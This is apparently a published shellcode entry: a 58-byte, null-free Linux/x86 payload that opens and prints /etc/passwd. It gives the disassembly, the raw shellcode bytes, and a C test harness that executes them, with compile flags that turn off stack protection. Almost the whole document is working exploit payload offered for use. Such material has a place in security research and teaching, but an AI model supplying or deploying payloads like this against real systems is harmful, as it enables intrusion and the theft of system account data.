58 bytes small Linux/x86 read /etc/passwd shellcode.
623084f24ff93c73046e85b5c890069a/*
# Shellcode Title: Linux/x86 - Read File (/etc/passwd) (58 bytes). NULL byte free
# Date: 2019-01-31
# Author: Kiewicz (@_Kiewicz)
# Homepage: https://0xkiewicz.github.io
# Tested on: Debian/x86
# gcc -o shellcode -z execstack -fno-stack-protector shellcode.c
# PA-7854
*/
/******************************************************************
$ objdump -d -M intel read_file
read_file: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: eb 28 jmp 804808a <read_file>
08048062 <open>:
8048062: 5b pop ebx
8048063: 31 c9 xor ecx,ecx
8048065: f7 e1 mul ecx
8048067: 99 cdq
8048068: b0 05 mov al,0x5
804806a: cd 80 int 0x80
0804806c <read>:
804806c: 89 c3 mov ebx,eax
804806e: b0 03 mov al,0x3
8048070: 89 e7 mov edi,esp
8048072: 89 f9 mov ecx,edi
8048074: 31 d2 xor edx,edx
8048076: b2 ff mov dl,0xff
8048078: cd 80 int 0x80
0804807a <write>:
804807a: 89 c2 mov edx,eax
804807c: 31 c0 xor eax,eax
804807e: b0 04 mov al,0x4
8048080: 31 db xor ebx,ebx
8048082: b3 01 mov bl,0x1
8048084: cd 80 int 0x80
08048086 <exit>:
8048086: b0 01 mov al,0x1
8048088: cd 80 int 0x80
0804808a <read_file>:
804808a: e8 d3 ff ff ff call 8048062 <open>
0804808f <filetoread>:
804808f: 2f das
8048090: 65 74 63 gs je 80480f6 <filetoread+0x67>
8048093: 2f das
8048094: 70 61 jo 80480f7 <filetoread+0x68>
8048096: 73 73 jae 804810b <filetoread+0x7c>
8048098: 77 64 ja 80480fe <filetoread+0x6f>
******************************************************************/
#include<stdio.h>
#include<string.h>
unsigned char code[] = "\xeb\x28\x5b\x31\xc9\xf7\xe1\x99\xb0\x05\xcd\x80\x89\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb2\xff\xcd\x80\x89\xc2\x31\xc0\xb0\x04\x31\xdb\xb3\x01\xcd\x80\xb0\x01\xcd\x80\xe8\xd3\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
int main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
return 0;
}